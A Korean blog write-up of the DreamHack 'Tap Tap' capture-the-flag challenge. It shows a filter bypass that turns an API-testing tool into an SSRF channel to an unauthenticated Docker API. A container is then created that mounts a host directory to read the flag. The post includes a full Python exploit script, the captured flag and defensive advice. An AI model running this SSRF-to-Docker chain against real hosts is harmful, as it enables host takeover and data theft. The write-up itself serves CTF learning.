DreamHack Tap Tap 워게임 풀이: API Previewer SSRF로 내부 Docker API 타고 플래그까지

2026-03-31

DreamHack Tap Tap 워게임 풀이: API Previewer SSRF로 내부 Docker API 타고 플래그까지

Internal API Testing Tool의 검증 우회를 통해 SSRF를 성공시키고, 내부 Docker API에서 컨테이너 로그로 최종 플래그를 획득한 전 과정을 정리합니다.

DreamHack Tap Tap 풀이

문제 구조 파악

접속하면 Internal API Testing Tool 단 하나의 화면이 나온다. Method, URL, POST Data(JSON)를 입력해 서버가 대신 요청을 보내주는 구조다.

항목내용
입력 포인트method / url / data (POST form)
차단 조건127.0.0.1 계열, file:// 스킴
공격 벡터SSRF — 서버가 내부 네트워크로 요청 대리
내부 타깃api:2375 (mock Docker API)

핵심은 단순하다. 서버가 요청을 대신 보내주는 기능에서, 필터가 막지 못하는 내부 호스트명으로 Docker API에 접근하면 끝난다.


Step 1 — 서비스 진입: Internal API Testing Tool

Internal API Testing Tool 메인
Internal API Testing Tool 메인

Method → URL → POST Data 세 입력란만 있는 단순한 화면이다. 외부로 요청을 보내면 응답이 Response 섹션에 그대로 반사된다. 이 반사 동작이 SSRF 공격 채널이 된다.


Step 2 — 필터 확인: 127.0.0.1 직접 접근 차단

text
TEXT
URL: http://127.0.0.1/

127.0.0.1 차단 응답
127.0.0.1 차단 응답

127.0.0.1을 그대로 넣으면 "Access to internal network is prohibited." 메시지가 반환된다. 문자열 혹은 정규식 기반 필터가 작동하고 있다는 신호다. 단, 이 필터는 127.0.0.1 표기만 막는 것이지 내부 호스트명까지 막는 게 아니다.


Step 3 — 필터 우회: 내부 호스트명으로 Docker API 접근

text
TEXT
URL: http://api:2375/version

Docker API /version 응답 (SSRF 성공)
Docker API /version 응답 (SSRF 성공)

내부 컨테이너 네트워크의 호스트명 api는 필터에 걸리지 않는다. 응답으로 Docker Engine 버전 정보가 반환되며, 이 시점에서 내부 Docker API와 통신 가능함이 확인된다.

json
JSON
{"Platform":{"Name":"Docker Engine - Community"},"ApiVersion":"1.41","Version":"20.10.24-mock"}

Step 4 — 컨테이너 생성: /host_flag 마운트

text
TEXT
Method: POST URL: http://api:2375/containers/create POST Data: { "Image": "alpine", "Cmd": ["cat", "/host_flag/flag.txt"], "HostConfig": {"Binds": ["/host_flag:/host_flag:ro"]} }

컨테이너 생성 응답 (Id 획득)
컨테이너 생성 응답 (Id 획득)

/host_flag 디렉토리를 읽기 전용으로 마운트한 컨테이너를 생성한다. 응답으로 컨테이너 Id가 반환된다.

json
JSON
{"Id":"004bb760a621465cbde2a9d8b1a3aba6","Warnings":[]}

이 Id를 다음 단계에 사용한다.

컨테이너 시작 요청:

text
TEXT
Method: POST URL: http://api:2375/containers/004bb760a621465cbde2a9d8b1a3aba6/start

Step 5 — 컨테이너 로그 조회: 플래그 획득

text
TEXT
Method: GET URL: http://api:2375/containers/004bb760a621465cbde2a9d8b1a3aba6/logs?stdout=1

컨테이너 로그 응답 — 플래그 출력
컨테이너 로그 응답 — 플래그 출력

컨테이너가 실행한 cat /host_flag/flag.txt 출력이 로그로 반환된다. Response 섹션에 플래그가 그대로 노출된다.


최종 플래그

text
TEXT
DH{57e8e65fa0b07d5c90a90d42a25e6aa77b9e0e0627c2cdedfe519ae5288858b3}

공격 흐름 요약

code
Internal API Testing Tool (SSRF 포인트) → 127.0.0.1 차단 확인 (필터 범위 파악) → http://api:2375/version 접근 (내부 호스트명 우회) → /containers/create (alpine + /host_flag 마운트) → /containers/<id>/start → /containers/<id>/logs?stdout=1 → 플래그

Full Exploit — URL 하나로 플래그까지

아래 코드는 대상 URL만 넘기면 ① SSRF 동작 확인 → ② 컨테이너 생성 → ③ 시작 → ④ 로그에서 플래그 추출까지 자동으로 실행한다.

py
PY
#!/usr/bin/env python3 """ DreamHack Tap Tap — Full SSRF → Docker API Exploit Usage: python3 exploit.py http://host3.dreamhack.games:11138 """ import sys import re import json import html import requests DOCKER = "http://api:2375" def previewer(session: requests.Session, base: str, method: str, url: str, data: dict | None = None): """Internal API Testing Tool을 통해 요청을 프록시한다.""" payload = {"method": method.upper(), "url": url, "data": json.dumps(data) if data else ""} r = session.post(base + "/", data=payload, timeout=15) # <pre> 태그 안의 응답 본문 추출 후 HTML 엔티티 디코딩 (&#34; → " 등) m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL) raw = m.group(1).strip() if m else r.text.strip() return html.unescape(raw) def exploit(base: str): base = base.rstrip("/") session = requests.Session() # ── 1) SSRF 동작 확인 ────────────────────────────────────────── resp = previewer(session, base, "GET", f"{DOCKER}/version") if "ApiVersion" not in resp: sys.exit(f"[-] Docker API 접근 실패 — 응답: {resp[:200]}") print("[+] Docker API 접근 확인:", resp[:80]) # ── 2) 컨테이너 생성 ────────────────────────────────────────── create_body = { "Image": "alpine", "Cmd": ["cat", "/host_flag/flag.txt"], "HostConfig": {"Binds": ["/host_flag:/host_flag:ro"]}, } resp = previewer(session, base, "POST", f"{DOCKER}/containers/create", create_body) try: container_id = json.loads(resp)["Id"] except Exception: sys.exit(f"[-] 컨테이너 생성 실패 — 응답: {resp[:200]}") print(f"[+] 컨테이너 생성: {container_id}") # ── 3) 컨테이너 시작 ────────────────────────────────────────── previewer(session, base, "POST", f"{DOCKER}/containers/{container_id}/start", {}) print("[+] 컨테이너 시작 완료") # ── 4) 로그 조회 → 플래그 ───────────────────────────────────── logs = previewer(session, base, "GET", f"{DOCKER}/containers/{container_id}/logs?stdout=1") m = re.search(r"DH\{[^}]+\}", logs) if m: print(f"\n[FLAG] {m.group(0)}") else: print("[-] 플래그 패턴 미발견 — 로그 내용:") print(logs[:300]) if __name__ == "__main__": url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://host3.dreamhack.games:11138" exploit(url)

![Full Exploit] 실행 결과 (/images/blog/dreamhack-tap-tap/flow/result.PNG)


방어 방법

  • URL 화이트리스트 기반 허용 정책 — 내부 호스트명 포함 전체 차단
  • DNS rebinding 방지 — resolve 결과를 기준으로 private address 재검증
  • Docker API 네트워크 격리 — 관리 포트(2375/2376)는 외부 컨테이너 네트워크와 분리
  • TLS + 인증 — Docker API는 반드시 인증된 클라이언트만 접근 가능하도록 설정